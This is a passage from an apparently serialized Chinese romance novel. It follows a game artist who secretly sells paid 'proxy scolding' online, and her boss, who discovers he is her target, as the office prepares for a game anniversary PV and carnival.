“琉璃缎具有光泽感,会随着光线和动作产生变化,手感柔软,不易皱,不易破损,材质成分也比较多样。” 任舒晚听得一愣一愣的,她没想到陆言知如此博学,“你怎么什么都知道?” 陆言知微怔,继而含笑道:“从书上看到过,更详细的你可以从网上搜索了解一下。” 任舒晚点点头,“好。” 陆言知没再多言,抬步朝办公室门口走去,片刻后屋里亮了灯,一片明亮。 他站在光源开关处,淡淡道:“你走的时候喊我。” 任舒晚愣了一下,大老板也要继续辛苦加班吗?她微微回神,后知后觉应了声。 她用了一个小时的时间去重新规划光影,也在修改中意识到这个画面并不适合推成近景,如陆言知所说,漫射光太过柔和,而蝴蝶月的眼神所表达的情绪更加犀利干脆。 不过这已经解决了她一大难题,剩下的还是明天再考虑吧。 任舒晚关掉电脑,收拾好东西,起身去找陆言知。 美术部办公室离总裁办公室很近,穿过走廊中的助理部,拐角的尽头就是。 她走到门口,轻轻叩响门板,下一秒便传来陆言知的声音,“进。” 任舒晚推开沉重的木门,探了半个身子进去,恰好看到陆言知站在玄关处,背对她穿外套。 他今天没有穿正装,衬衫外套了一件棕色立领皮衣,款式虽宽松,但随着抬臂的动作仍能显现出布料下宽肩窄腰的绝佳身材。 任舒晚连忙瞥开视线,非礼勿视非礼勿视。 “走吧。” 陆言知开口打断她的思绪,她立刻收回探进去的身子,大力把门推开。 陆言知看她推得费力,抬手拉住里面的门把手,接着换为指尖抵住门边缘,筋骨修长的大手因用力凸起错杂的青筋。 他探身用另一侧的手去关灯,距离很远,但他臂展惊人,做起来轻松自如。 任舒晚眨眨眼,鬼使神差道:“陆总,你好厉害。” 陆言知闻言,眉梢一抽,“你说什么?” 任舒晚怔怔缓过神,“没……我说你胳膊很长。” 陆言知沉默着从办公室走出来,“走吧,送你回家。” 说罢,他抬步往电梯口走去。 诶? 任舒晚小跑跟上他,“不用了陆总,我可以打车回去,公司有打车补助。” 陆言知抬了抬手腕,示意道:“很晚了,不安全。” “那谢谢陆总。” 她又能省钱了,太好了! 深夜的临城终于不再堵车,张扬的黑色超跑在高架上肆意穿梭,发动机的轰鸣与破风声不断入耳。 眼看着距离前车越来越近,速度仍不见减缓,任舒晚紧张地握紧安全带,下一秒,方向盘一转,车辆轻微一侧,瞬间变换到另一条车道完成超车。她突然有些明白跑车带来的快感了,确实不是舒适的商务车可以与之媲美的。 陆言知微微偏头,就见她正聚精会神地盯着前方,看上去比他这位驾驶员还要认真。 他勾了勾唇角,缓慢轻点刹车,速度从而慢了下来。 “怎么不睡觉了?” “啊?”任舒晚愣了一下,瞬间想到去公司开门那晚,她窘迫地笑了笑,“车速太快了,吓得不困了。” 其实那晚主要因为她不想跟陆言知掰扯了,他一直在说“车轱辘”!她也很无奈好吧。 半小时后,车子停在任舒晚家楼下,她解开安全带,礼貌道:“谢谢陆总送我回来。” “嗯。” “那我下车了。” 任舒晚侧身刚要开门,陆言知忽然道:“等一下。” 她疑惑回头,就见陆言知从后排冰箱里拿出一个保鲜袋,“朋友送我一款培育的葡萄,据说味道不错。” 说罢,他递到任舒晚面前,透明的保鲜袋内有两盒,每盒里只放了一串。鲜红色的果粒紧促的串成一串,如红宝石般耀眼,超大的果粒单个就有乒乓球大小,只是隔着保鲜袋便能闻到浓郁的玫瑰香气。 任舒晚第一次见这么大果的品种,立刻受宠若惊地接下。 陆言知沉默一瞬,道:“这是回礼,谢谢你那天送我的葡萄。”!!! 任舒晚瞪大眸子,大老板居然还给她回礼吗?!这也太不可思议了。 “其实不回礼也没关系……”她小声嘟囔了一句,她还是更想晋升中级。 陆言知没听清她说什么,蹙眉疑惑,“嗯?” “没。”她连忙摇头,“我没骂您,我说谢谢您的回礼。” 她已经条件反射了,生怕陆言知又问她是不是在骂他,她真没有啊,她真冤枉啊! 陆言知顿了顿,忽而轻笑出声。 任舒晚悄咪咪瞪他一眼,笑笑笑,他还好意思笑。 “你的伤口别沾水。” 任舒晚看了眼自己包着的手,已经不怎么疼了,可以忽略不计了。 “好,那我下车了,陆总注意安全。” 她推门下车,退到单元门口就见陆言知再次落下车窗,“你上去。” 她笑了笑,“陆总再见。” “明天见。” 陆言知看着清丽的背影消失不见,片刻后逐层点亮楼梯间的灯,直至在四楼停下。 他收回视线拿起手机,拨通安逸的电话。 响了几声后,安逸暴躁的声音透过听筒传出,“我说陆言知,你看看几点了,你母胎单身没夜生活,我可不是。” 陆言知:“谁说我没有夜生活。” 安逸嗤笑一声,“是,加班也算夜生活。” “你明天来一趟公司。”陆言知懒得跟他废话,开门见山道。 安逸:“又要干嘛?我还是病人,我还受着伤呢。” “你来指导一下美术组开屏PV设计。” 安逸无语,“她们自己就能干,不需要我指导,又不是第一次制作pv了。” 陆言知:“你来不来?” “不来,我要在家修养。”安逸斩钉截铁,“对了,我正要找你八卦呢,听说你买了国外最新培育的进口葡萄,一串接近五位数,啥葡萄啊,这么好吃吗?给我尝尝啊。” 一听安逸八卦陆言知就头疼,他将手机扔到手盒上,启动车子,慢条斯理道:“你明天去公司就能吃到。” “真的?”安逸半信半疑。 陆言知:“试试就知道了。” “行,明天见。” 陆言知见他应下,抬手拿起手机,漠然道:“挂了。” 下一秒,通话结束。 — 任舒晚回到家,进门是干净整齐的房间,元宝老老实实窝在兔笼里,闻声瞪着眼睛看向她。 她放下包走到笼子边,“元宝宝宝,妈妈回来啦。” 元宝站起身,前爪垂在身前,伸着脑袋凑近玻璃,似乎在回答任舒晚的话。 任舒晚被萌的不行,特别想放它出来rua一会儿,但她想到自己的手和被拆烂的家,又退缩了。 中午陆言知说元宝在发情期,她去搜了搜,发现元宝拆家、乱拉乱尿、攻击她,都是发情期的表现,她之前一直以为元宝调皮,原来并不是。 网上说公兔的发情期一般几天到几周都有可能,绝育要等发情期过去以后才可以,所以这段期间只能委屈元宝天天呆在笼子里了。 她叹口气,指尖点了点玻璃,“乖元宝,等你发情期结束妈妈就带你去绝育,绝育以后就能出来陪妈妈了。” 元宝不语,又往她指尖落下的地方蹭了蹭。 任舒晚陪了会儿元宝便去洗澡了,洗完澡出来看到桌上的葡萄,她放了一盒在冰箱里,拿着另一盒去洗来尝尝。 打开保鲜袋后,玫瑰的香气更加浓郁,任舒晚一粒粒摘下来,只是几颗就已经把果盘撑满了,这已经不是大果了,而是超大果。 清洗掉表面尘土,她立刻拿起一颗咬了一口。 她非常喜欢吃葡萄,各种甜甜的品种都可以,但这类品种的葡萄她真没有品尝出特殊。 果粒肉肉的,皮很薄,甜度很高,没有籽,整体来说无功无过,没有妈妈种得巨峰好吃,更多的像红提的口感,除了甜和大也吃不出区别。 她吃了一颗,又吃了一颗,就觉得齁嗓子了。她把剩下的收进冰箱,还是明天再吃吧。 躺到床上,她拿起手机,思索着还是要对陆言知表达一下感谢的,虽然葡萄一般,但毕竟是老板给她的回礼,她还是要礼貌积极的反馈一下。 她抱着手机,一边思考一边打字:[陆总您到家了吗?葡萄我尝过了,很好吃。] 字打完,刚要按下发送,她忽然意识到不对,这样好像太敷衍了。之前陆言知也是单薄的回她葡萄很好吃,明摆着就是客气一下。 老板回礼,她得给到情绪价值啊。 思忖片刻,她又加了几句,[很甜,皮很薄,水分也很足,浓郁的玫瑰香。]—— 作者有话说:任小晚:救命陆总好绝!!我心跳加速 呼吸加快!!我净化雾霾的能力赶超热带雨林!!我将成为新的地球之肺!!我扑通一声把青藏高原跪成盆地!!哭到不再需要南北水调工程!!嚎到产生的风力发电供应全球人民使用!! 明晚不更,周六晚11点更新[眼镜] 第17章 第 17 章 暴露在即 任舒晚不知道是怎么睡着的, 一觉醒来已经是第二天早上,摸手机的同时闹钟也随之响起。 她闭着眼睛关掉,又翻身赖了几分钟, 才艰难从被窝里爬出来。 初醒的身体被唤起, 肩膀手臂经过一夜静止, 突然活动带来了明显的疼痛。 她试图用左手去按揉胳膊,又想起左手掌心还有伤, 旋即放弃, 换为轻柔的活动、拉伸。 片刻后,疼痛缓解,她叹口气起床洗漱, 这几天实在太惨了,浑身上下遍体鳞伤, 没一个好地方,而且她明显感觉颈椎病加重了,今天的疼痛比昨天更甚,无法忽略的那种,她安慰自己再坚持几天, 等周年庆过去就好了。 洗漱完, 她随便吃了个面包便出门上班。 到公司坐到工位上, 任舒晚没有着急画稿,而是先把手中的工作顺了一下, 做个了近期计划。 目前她交付了蝴蝶月pv中的三视图, 箫沉也完成了初步草稿, 昨晚问了陆言知布料的事情,她回家查了不少资料,琉璃缎正是她想要的效果。 箫沉这个角色出身名门, 是九洲剑派未来的掌门,他的服装需要突出质感,对布料要求更高,琉璃缎丝滑轻盈,在不同光线下有波光粼粼的效果,更能营造出剑客仙风道骨的气质。 同时资料也给她带来了许多的灵感,如果今天赶赶,应该就能完成箫沉的三视图。 那接下来就是pv的重中之重,也是目前最让她头疼的部分——关键帧插画。 通勤路上,她思来想去,陆言知说得很对,她的光影逻辑有些问题,所以她还是打算把手里那份蝴蝶月关键帧的稿子推翻,这个稿子可以用在分镜画上,但并不适用展示蝴蝶月这个人物。 这么想下来,昨天似乎白忙活一场。 任舒晚叹口气,把写好的工作计划依次贴在手绘屏一侧。 就在这时,她的手机忽然震动一下,她随手拿起来查看,下一秒,眼睛瞪大。 项目组@全体发了通知,美术总监安逸今天来公司指导pv设计,九点美术部开会。 任舒晚不可置信地揉揉眼睛,居然还有这种好事,她正犯愁,就从天而降指导老师。 她感觉最近运气太好了,遇到问题迎刃而解,难道是神明给她开挂了? 不管了,就是神明伸出援手了,等忙完她再去还愿。 眼看到了九点,她不再耽搁,立马收拾东西去会议室。 到了会议室,美术组的人来了差不多,任舒晚找了个空位置坐下,就听身边有人跟骆珊搭话。 “珊姐,你稿子完成多少了?” 骆珊慢条斯理道:“三视图已经交稿了,两个角色的关键帧草图也完成了,正在深化细节。” “哇,珊姐你速度这么快,太厉害了。” 一声两声的夸赞传进任舒晚耳朵里,她低着头看似在拉伸脖子,实则正伸着耳朵听八卦。 就听旁边人声音压低了几分,问道:“安总监为什么突然回来了?他伤好像挺严重吧,pv这种小事他还放在心上?” 骆珊沉默一瞬,回答的滴水不漏,“安总监和陆总都很看重这次周年庆。” 任舒晚听着,默默给骆珊竖起大拇指,这人明显在试探骆珊,想旁敲侧击打听消息,而骆珊心思缜密,明白祸从口出,说话天衣无缝。 任舒晚由衷佩服骆珊的小心谨慎,可惜她人品太差了,坏心思太多。 这时,小庄推着安逸进了门,众人纷纷噤声看向他。 安逸还坐在轮椅上,不过脸色看上去有了血色,状态好了很多。 几人关心的询问他的身体状况,安逸笑着一一回答。 寒暄过后,安逸表明自己的来意,“周年庆关键时刻,我出了这样的事情,大忙我帮不上,但也想替大家分担一下。” 他微微颔首,小庄立刻帮他打开PPT,上面挂着大家刚交上去的三视图,他挨个过了一遍,道:“稿子都很优秀,各有特色,百花齐放,这就是我想要的效果。” 说罢,他便着重讲述pv设计的重点,“关键帧插画是分镜的延伸,大家在设计时应该要先有整个画面的构思,才能画好分镜和关键帧。” 他拿出错误案例和优秀案例,详细讲了许多干货,如何打造合理的光影系统,如何在符合逻辑的前提下做到服务叙事,如何打造富有感染力的三维世界。 任舒晚听完茅塞顿开,她许多疑惑的问题在这里得到一一解答。 会议不拖沓,很快便接近尾声。 安逸笑了笑,道:“我今天会一直在公司,如果画稿中遇到问题可以随时来办公室找我。” 会议结束后,任舒晚回到工位,把自己现阶段的问题和疑惑做了汇总,拿着画稿去敲安逸的办公室门。 她明白,无论学校还是职场,多学多问才是进步最有效的路径。 推开办公室门,安逸正坐在桌前打电话,他看了眼任舒晚,对电话那头温柔道:“宝宝,我先忙工作,晚上一起吃饭。” 看他挂断电话,任舒晚才走上前,“安总监,我是任舒晚,我有几个问题想请教您。” 安逸看到她并不意外,扬扬下巴,和善道:“说就行。” 任舒晚把昨天画得插画草稿递上前,“我知道这个稿子有问题,但我有些想不明白问题在哪。” 安逸扫了一眼,“你的问题出在光影混乱,原画师是凭空发明一套合理的光影系统,如果不合理,后续根本无法还原出想要的氛围。” 话音刚落,门外响起敲门声,安逸微微歪头看向门口处,“进。” 下一秒,木门推开,陆言知信步而来。 “哟,稀客啊。”安逸打趣道。 陆言知视线轻描淡写地扫过他,落到任舒晚身上,继而淡淡道:“你们先聊。” 说罢,他朝远处待客区的沙发走去。 安逸收回目光,又看向任舒晚的画稿,“这不是关键帧,这个光源下更适合远景,你说一下你的构思吧。” 任舒晚点头,缓缓开口,将构思好的剧情不紧不慢地说了出来。 远处,陆言知的目光不着痕迹落在她身上,她侃侃而谈,语调缓慢却认真,明显对自己的剧情和画稿非常了解,底气十足。 几分钟后,她语毕,虚心看向安逸,“这就是我的构思。” 安逸满意地点点头,“非常好啊,你只是缺乏经验而已,这好说,我教你。” 说完,他便细致地提出自己地见解,讲了他认为适合作为关键帧的地方,又详细说了光源应该怎么设置能突出角色凌厉的目光和性格。 任舒晚越听笑意越深,她就知道一定能学到很多东西。她把安逸讲的都记了下来,生怕漏掉细节。 片刻后,安逸鸣金收兵,道:“你就按我说得画,保证没问题。” 任舒晚坚定地点点头,目光真诚,“谢谢安总监。” 安逸大咧咧摆摆手,“不客气,好好画,前途无量。” 任舒晚抿唇笑得开心,得到认可就会不自觉有些小雀跃。 远处,陆言知一瞬不瞬盯着她的侧颜,双眸微眯,眸色暗沉。 任舒晚:“那我先走了安总监,不打扰您了。” 安逸:“ok,ok。” 任舒晚回身,正对上陆言知讳莫如深的目光,她微怔,“陆总,我先走了。” 陆言知敛眸,眼底闪过一丝不爽,“嗯。” 任舒晚察言观色,大老板这是心情不好啊,她连忙拿着东西往门口走,一秒都不敢耽搁,生怕惨遭连累。 就在这时,安逸看向陆言知,不合时宜开口,“你空着手来的?五位数的葡萄呢?拿来我尝尝。” 任舒晚握着门把手的手一顿,五位数的葡萄???? 金子做的吗?这么贵。 陆言知没接话,寒凉的眸光落在安逸脸上,似乎随时都能用眼神刀将他千刀万剐。 安逸缩了缩脖子,一头雾水,“咋了,你咋不说话?” 任舒晚回过神,手上动作不停,慌忙开门溜之大吉。 咔哒—— 门关上发出轻响,陆言知视线扫过门口,继而移到安逸脸上,“你不说话没人把你当哑巴。” 安逸对他阴晴不定的情绪见怪不怪,懒懒翻个白眼,“你今天抽什么风?葡萄呢?” “没有,送人了。”陆言知说。??? “你!”安逸气道,“送人了?那你说让我来公司吃。” 陆言知靠着沙发背,从善如流道:“我没说,是你理解错了。” 安逸咬咬牙,“再信你我是狗!” — 任舒晚走出安逸办公室,忍不住感叹,有钱人真奢侈啊,葡萄都买五位数的,五位数一颗吗?还是一串?还是一箱? 也难怪之前陆言知瞧不上她送得葡萄,确实不能跟五位数的比啊。 那他昨晚送她的那个呢?他说是朋友送给他的,应该价格就低了吧,毕竟那个口味真的很普通。 她叹口气,不管了,还是先发财比较重要。 回到工位,任舒晚活动活动颈椎,投入工作中。她先把安逸的意见加进构思的分镜中,又着手去深化箫沉的三视图。 忙忙碌碌到午休时间,期间她三番两次站起来拉伸颈椎、手臂,今天的疼痛已经严重影响她的效率,画半天才完成一半。 这时,祝笙跑来找她吃饭,见她一脸苦瓜相,道:“午餐时间到,用美食治愈痛苦!” 任舒晚唉声叹气地起身,“好忙好累。” 祝笙亲昵地搂住她,安慰道:“坚持!今天中午是你爱吃的那家私房菜,多吃点。而且新茶水间开放了,设施全部升级,有咖啡机,好多速食、零食,重点是空间还大。” 两人从楼梯间步行上22楼,刷脸开门禁。 22楼空间宽敞,目前只有茶水间,剩下那间大房间是空的,暂不做别用。 茶水间的位置在进门处,装修豪华,干净整洁。此时已经有不少同事坐在里面吃饭,相比第一天加班时人满为患的样子,现在看上去井然有序。 两人排到队伍末尾,一边等领餐,一边闲聊。 任舒晚手也不闲着,说话的同时还在拉伸手臂,只是伸远往下压,从指尖到脖子便是过电般的酸爽。 祝笙:“颈椎不见好吗?” 任舒晚摇摇头,“没,更严重了,最近太忙了,实在没时间,等忙完去医院做理疗。” 祝笙刚要接话,目光却看向她身后的位置,紧接着脸上多了礼貌的微笑,“陆总好。” 任舒晚闻声回头,陆言知恰好走到她身后,高大的身影带来居高临下的压迫感,任舒晚是第一次对他的身高有了实感,即便他离她有些距离,她都需要仰头才能看到他的脸。 “陆总好。”她紧跟着打招呼。 陆言知敛眸看她,“嗯。” 任舒晚让了让位置,“陆总要不在我们前面吧。” 祝笙接话,“对,我们不着急。” 陆言知淡淡道:“不用,我也不着急。” 见他拒绝,任舒晚又站回去,“那好吧。” 陆言知没接话,任舒晚也转过身去看祝笙,祝笙原本刚才是回着头跟任舒晚聊天的,这下她身后多了陆言知,祝笙也面朝前了。 相顾无言,队伍慢慢前进,任舒晚调整呼吸,按照瑜伽老师教的方法继续拉伸颈椎。 陆言知站在她身后,就看圆溜溜的脑袋歪向左,又歪向右,时不时还传来她绵长,有规律的呼吸声。 片刻后,终于排到她们,祝笙领了她和任舒晚的,一手提一袋,挽着任舒晚去找位置吃饭,经过陆言知时,两人礼貌笑着点头示意。 稍稍走远些,祝笙才道:“刚刚我没好意思回头跟你说话。我想说你别拖了,下午请个假先去做一下理疗,别拖得像上次那么严重了。” 任舒晚应了声,活动着肩膀,“再说吧,太忙了。” — 午休后,总裁办公室,小庄拿来文件给陆言知签字。 等待期间,小庄道:“陆总,煤球的闲置都卖完了,您的咸鱼账号我退出了。” 小庄从口袋里掏出一张纸条,“这是您账号的账号、密码。” 陆言知扫了眼,道:“辛苦了,放这吧。” 他垂眸合上文件,“你安排一下,22楼空着的房间改成健身房吧。” “好的陆总。” 陆言知:“跟陈部长说,买一批颈椎按摩仪当员工福利。” 小庄按捺不住扬起嘴角,“好的陆总,您对大家太好了,私下大家都说您是神仙老板呢。” 陆言知微微颔首,“嗯,去吧。” 小庄拿着文件离开。 门合上,陆言知拿起在桌上的纸条,若有所思地盯着。 片刻后,他鬼使神差地拿起手机下载APP,按照账号密码登陆,在“我卖出”的订单里找到了兔笼的买家—— 作者有话说:[求你了]抱歉,今天来晚了。 周一晚11点更新。 第18章 第 18 章 卷毛小奶狗的哥哥 陆言知发现了秘密, 他终于知道任舒晚骂他的原因了。 他通过咸鱼订单找到了任舒晚的咸鱼账号,在她出售的宝贝中,赫然挂着一串醒目的销售语:[淬毒的小嘴], 国服代骂, 战绩可查。 她接单代骂, 而他是被骂的人。 陆言知豁然开朗,之前想不明白的问题一瞬间有了答案。 意料之外的发现让他心情极好, 他靠着椅背, 饶有兴趣地翻看起她的店铺。 店铺显示已出售2400+次,好评率97%,有一百多条评价, 有夸赞卖家服务态度好的,还有说卖家负责任、骂人超狠, 更有让人啼笑皆非的评价称,卖家把渣男骂哭了,渣男被骂的求我退单。 陆言知翻看着,唇角笑意渐深。 她副业倒发展的风生水起的,还分了不同价格的档位, 之前她说要陪伴他一年……? 难道有人买了年卡骂他? 陆言知垂眸陷入沉思, 是谁呢?难道是竞争对手买来给他添堵的? 他一时间想不明白, 但他不打算揭穿任舒晚,想知道买家还是需要从她身上下手, 而且她拿钱办事, 他不痛不痒的挨几句似乎也没什么。 — 任舒晚紧赶慢赶, 终于在晚上下班前交上了箫沉的三视图。 她关掉电脑,收拾东西,就等下班打卡。 等待的几分钟变得十分漫长, 她靠在椅子上跟祝笙吐槽,[怎么还有五分钟呀,撑不住了,意式蘑菇,奶油浓汤,芝士…只是女人,容易一往情深……] 祝笙也在摸鱼,回复迅速,[总是为钱所困,终于越陷越深——] 任舒晚:[上班能弹性,下班可以弹性吗?熬不住了。] 祝笙:[还有三分钟,你打完卡在大厅等我,我开车送你回家。] 任舒晚回了个小猫感动含泪的表情。 三分钟如细沙般溜走,终于看到时间变为23点整,任舒晚迅速打开下班。 约好大厅碰面,两人却恰好撞在同一间电梯里便一块去停车场开车。 上了车,祝笙问道:“任小晚,你的周年庆嘉年华邀请函送人了吗?” 任舒晚低头扣安全带,随意道:“没,我朋友都不在临城,你要你拿走吧。” 祝笙欣然一笑,“那我不客气啦,我那张给了大学同学,结果我遇到更想送的人了。” 任舒晚动作一滞,隐约嗅到八卦的气味,她抬眸盯着祝笙,审问道:“老实交代。” “没打算瞒你啦。”祝笙得意地扬扬下巴,“那天中午你去拿兔笼,我自己吃饭,吃完饭就溜达着去远处那家新开的咖啡厅取团购的咖啡,在那遇到一个超帅的卷毛弟弟。” 任舒晚惊喜地瞪大眼睛,“天呐,天呐,然后呢?展开说说!” “然后加了微信,发现兴趣相投,聊得还蛮开心的。那天他邀请我去周年庆嘉年华,他不知道我的工作,是想问我有没有时间一起去玩,他朋友是《破晓瞬间》的主播,参加了竞技赛。” 任舒晚:“这也太有缘了吧!” 祝笙连连点头,“所以我才问你还剩邀请函嘛,想着如果有多余的就送他一张,反正我也不要票,我有工作证。” 任舒晚笑道:“我不用,你拿走拿走,我要全力以赴助力你恋爱之路!” 祝笙佯装感动地吸吸鼻子,“这就是姐妹吗!” 任舒晚骄傲地抬起下巴,“那当然了,我可最爱你了。” 两人闲聊八卦着,很快便了楼下,任舒晚目送祝笙的车开走才上楼回家。 进门包一扔外套一脱,疲惫地躺在沙发上,四仰八叉像只朝天的螃蟹。 元宝见她回来,用爪子扒着玻璃发出声音,试图吸引她的注意来得到妈妈的宠爱。 任舒晚歪头瞧它,看到它耸动的鼻子贴着玻璃,心底瞬间被暖意撑满,她顶着疲倦坐到兔笼边陪它。 元宝一会儿隔着玻璃和她的指尖贴贴,一会儿叼起干草往她手上塞,即使发现妈妈拿不到,它还是不知疲倦,活脱脱是讨好妈妈的小宝贝,任舒晚终于懂了为什么那些妈妈说毛孩子能治愈心灵了。 陪元宝玩了许久,任舒晚才拖着疲惫的身子去洗澡。 洗完澡躺床上已经是凌晨,她任劳任怨登上小号完成代骂工作。 最近小铺不算忙,偶尔会接到次卡,都轻轻松松,唯一让她头疼的是年卡渣男,对方已经拉黑她多个小号,再这么下去她已经能预料到结局了,肯定是所有账号都被扔进黑名单。 但不骂又不行,她接的是年卡单子啊! 通过这件事她也意识到,等忙完要重新调整一下收费档位了,年卡实在不太合适,如果都被拉黑,她完全束手无策。 思索间登上6号,试探的给年卡渣男发去好友申请,如她所料,果然6号也被拉黑了。 她找出尘封已久的7号,犹豫再三,决定先稍稍温柔的骂两句试探一下,尽量不让他继续拉黑她,毕竟她只剩两个号了。 她翻个身,抱着手机打字:[晚上好啊渣男,我们商量个事呗,你就别拉黑我了呗,微信黑名单也是有人数限制的,全被我小号占了,何必呢,对吧?] 发完,对方没回复,她继续试探开口。 [我骂你也因为你太渣了,你要是好人我能骂你?你做了那么多坏事,我骂你两句你听着就行了。我呢随便骂骂,你呢随便听听,咱俩井水不犯河水,都睁一只眼闭一只眼,你看怎么样?] 与此同时,陆言知还没睡,看到她发来的消息,眉梢微挑,兴致勃勃,她倒挺会算计,她是不吃亏了,有钱赚有人骂的。 他退出微信,打开浏览器搜索:【微信黑名单有上限吗?】 屏幕跳转,显示回复:【有,微信黑名单上限一千人。】 他轻笑了声,切到微信点下拒绝添加并在备注栏里打字,[我搜了,上限一千人,你有一千个小号?] 任舒晚盯着他的回复咬了咬牙,这渣男想跟她对线都不加她好友! [你怎么知道我没有一千个?] 陆言知勾着唇角打字:[嗯,那你不用担心我了,我可以接受黑名单里全是你的小号。] 任舒晚生气又不好惹怒他,只能硬着头皮回复:[我换号很麻烦!!!] 陆言知笑意渐深,[不让我拉黑你也可以,告诉我是谁来找我骂你的。]? 任舒晚瞠目结舌,这渣男究竟渣了多少人?居然都猜不到是谁骂他?? [我有职业道德,我不会泄露买家任何信息。] 陆言知挑眉,惋惜地摇摇头,[这是你自己选的。]??? 什么鬼?又要拉黑?! 任舒晚噌的一下坐起身。 [商量商量啊!] 发完消息,对方没有回复,任舒晚心底一凉,坏事了,又拉黑一个号。 她气得蹬了一脚被子,把怒气倾泻到手机上,[你别敬酒不吃吃罚酒,骂你是因为你欠骂,渣女生的时候怎么不想想报应呢?] 点下发送,丝滑发出。 嗯?没拉黑? 她再次试探打字:[我已经对你很好了,只是骂你几句而已,我拿刀捅你了吗?没有吧?] 发送,发出。 等待几分钟后对方还是没有回复,任舒晚满头问号思索着,难道对方默认接受了她的商量?不管了,先骂完今天的再说。 她拿着手机继续出击。 一条条攻击消息发来,陆言知神色慵懒地滑动手机查看,他已经能想到她现在的表情,肯定像平时偷瞪他时一样气愤。 他眼尾上扬,眸底多了丝微妙的温柔。 任舒晚骂完便把小号下了,切到咸鱼给年卡老板反馈。 最近几天年卡老板也没找她闲聊,对话还停留在上次她劝慰老板,不知道年卡老板有没有走出来。 她斟酌着输入最近渣男的动向,并且把今晚渣男问是谁骂他也告诉了年卡老板。 消息发去年卡老板没回复,毕竟太晚了,任舒晚没想太多,放下手机沉入梦乡。 翌日,任舒晚到了公司又打开咸鱼查看,还是没收到年卡老板的回复,她发去的消息也一直是未读状态。她有些疑惑,又发去一条询问消息,片刻后还是没有查看。 或许太忙了?任舒晚思忖着,倒也好,忙就能很快从失恋阴影里走出去了。 她放下手机,脱掉外套,从抽屉里拿出暖贴贴在肩膀上,缓解颈椎带来的痛感。 就在这时,办公室门口处突然传来骚乱,她闻声去瞧,就见祝笙和行政部的小李提着一个大储物箱走了进来。 祝笙:“发福利啦!” 小李拆开储物箱,祝笙从里面拿出方形的包装礼盒,开始挨个分发到大家工位上。 办公室立刻响起此起彼伏的对话声。 “公司福利没得说啊,太好了!” “这款按摩仪我知道,价格不便宜呢,我前面买了同品牌的老款,很好用。” “我看到过测评,低头族的福音。” 说话间,祝笙便发到了任舒晚这儿,任舒晚一脸懵地接下礼盒,问道:“什么福利?” “颈椎按摩仪,你肯定又没看群吧。”祝笙一副了然于胸的模样,“陆总说最近大家辛苦,伏案低头很容易得颈椎病,让我们行政安排的。你快拆开试试,正好你不舒服。” 任舒晚应声打开,入眼是一个小型挂脖按摩仪,通体银白色,精致利落,两侧有调节按键,里侧有鼓起得按摩锤。 任舒晚拿出放在脖子上,按照说明书打开电源,仿生的按摩锤开始运动,揉捏着僵硬的颈椎和斜方肌,片刻后又改为牵引,能清晰感觉到带动太阳穴抽动。 “怎么样?”祝笙好奇问道。 任舒晚点点头,“好像还不错,像真人按摩一样,还带加热。” 祝笙笑道:“那就好。哎,太巧了,你颈椎不舒服,公司就发了按摩仪,感觉你最近运气爆棚!” 祝笙说完,任舒晚陷入沉思,最近运气确实好。 “或许是神明给我开挂了吧。”任舒晚从包里拿出红色信封,“邀请函我给你拿来了。” 祝笙欣喜接下,俯身亲昵地抱住她,“爱我的晚,最爱我的晚。” “嗯嗯嗯,好好好。”任舒晚拍着她,“姐妹祝你早日脱单。” — 有了按摩仪,任舒晚的颈椎瞬间轻松许多,一边热敷按摩一边画稿,两不耽误。 少了颈椎痛苦的摧残,她的画稿之路更加顺畅,稀里糊涂的也就过完了加班周。 临近交付日期前,任舒晚所有分镜画稿都通过审核,接着就是和动画组对接,以及后续繁杂零碎的工作。 终于,开屏pv在周年庆前一天上线,任舒晚提着的心总算放回肚子里,看着动画里蝴蝶月和箫沉轮番出场,静止的画稿变为灵动的人物,她心里说不出来的骄傲自豪。 美术组所有工作完美收尾,项目组的运营和策划却迎来了巨大挑战——周年庆嘉年华。 周年庆当天,线下嘉年华活动在临城露天公园举行,祝笙喊着任舒晚一块去玩,顺便见见她的卷毛弟弟。 约好碰面地点,任舒晚早早到了等候,没等多久,远远就见祝笙和一个满头棕色卷毛的弟弟走了过来,两人身高差很多,走在一起甚是般配。 “小晚!”祝笙小跑到任舒晚面前,“这是我朋友,容锦。” 任舒晚看向容锦,长相清秀,戴着一个黑框眼镜,看上去年纪不大,“你好,我是笙笙的朋友,任舒晚。” 容锦微微一笑,眼睛弯成月牙,“你好,小晚姐,我听笙笙姐提过你。” 任舒晚一怔,被喊姐姐还有点不适应。 祝笙看了眼容锦,又看向任舒晚,眼神寻求她的评价。 任舒晚默默点头,乖巧的年下,确实是祝笙喜欢的类型。 得到认可,祝笙笑容更甚,“对了,小晚,还有个朋友,是容锦的哥哥,我跟你提过,他是破晓的主播,明天参加竞技赛,今天跟我们一块玩,你不介意吧?” 说罢,她对着任舒晚意有所指地挑挑眉。 任舒晚头一阵大,她就知道,祝笙又要乱点鸳鸯谱,她待会一定要训她一番。 这时,远处忽然传来清朗的男声,“容锦。” 紧接着一个帅气的男生便走了过来,他穿着一身黑色休闲装,个子很高,头发打理的蓬松利落,长相是精致的帅气,眉眼上挑魅惑的那种。 “来晚了,不好意思。”男生喘了口气,抱歉地笑了笑。 “没事。”祝笙挽住任舒晚,立刻介绍两人认识。 两人对视一眼,男生礼貌道:“我叫邓嘉霖,容锦的表哥。”—— 作者有话说:被骂—— 陆总:老婆骂我好爽。 周三晚更新,喜欢的宝宝点点收藏啦!谢谢大家的支持,努力更新ing[加油] 第19章 第 19 章 嘉年华 嘉年华场地在露天公园中心位置, 从入口走进去不算远,四人略显拘谨地往里溜达,经过停车场时, 一辆张扬的蓝色超跑闯入任舒晚视线, 她步子微顿, 好奇去看车牌,怎么感觉跟在陆言知车库里看到的车一模一样? 祝笙走远见她还在原地愣神, 循着她的视线看过去, 折返回来问道:“你喜欢这车?” 任舒晚:“还好吧,挺夺目的。” “任小晚同学,虽然你对车不了解, 但你眼光好啊。”祝笙说,“这车半个小目标吧, 临城估计都找不出几辆。” 任舒晚大惊失色,“这么贵?” 祝笙:“对啊,这可是布加迪。” 邓嘉霖接话道:“车子的基础售价就很高,这轮毂和车身定制的手绘都是额外费用。” 任舒晚吞了下口水,不知道祝笙要是知晓这可能是陆言知的车, 会是什么表情。 进了公园里面人明显多了起来, 沿街的小路上有不少商铺卖小吃饮品, 祝笙指了指远处的鲜榨果汁,问道:“小晚, 你喝吗?” 不等任舒晚回答, 邓嘉霖先道:“我们去买。” 他拉着容锦离开, 只剩任舒晚和祝笙呆在原地,四下无人,任舒晚正逮到机会, “我警告你,别瞎搞!” 